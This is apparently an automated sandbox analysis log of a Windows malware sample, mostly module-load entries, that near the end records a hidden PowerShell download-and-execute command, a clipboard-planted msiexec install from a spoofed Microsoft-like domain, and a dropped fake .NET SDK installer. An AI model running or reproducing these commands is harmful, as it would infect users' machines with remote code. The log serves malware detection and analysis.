Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\systeminfo.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\SysWOW64\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: msi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: srpapi.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: tsappcmp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: apphelp.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: aclayers.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc.dll
Source: C:\Windows\SysWOW64\msiexec.exe	Section loaded: sfc_os.dll

Source: C:\Windows\SysWOW64\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Source: C:\Windows\System32\msiexec.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{A737E874-2CD8-4738-B38F-9986E7D8C9C9}

Jump to behavior

Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb source: dotnet-sdk-8.0.408-win-x64.exe.20.dr
Source:	Binary string: D:\a\_work\1\s\build\ship\x86\burn.pdb/ source: dotnet-sdk-8.0.408-win-x64.exe.20.dr

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('\|', $s, 'iex'))"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command "$s='irm events-data-microsoft.live/h8xiyPNTne';iex ([string]::Join('\|', $s, 'iex'))"			Jump to behavior

Persistence and Installation Behavior

HTML page adds supicious text to clipboard

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

Clipboard modification: msiexec /q /i https://dnsg-microsoftds-data.com/sign/cpt.msi

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\dotnet-sdk-8.0.408-win-x64.exe

Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
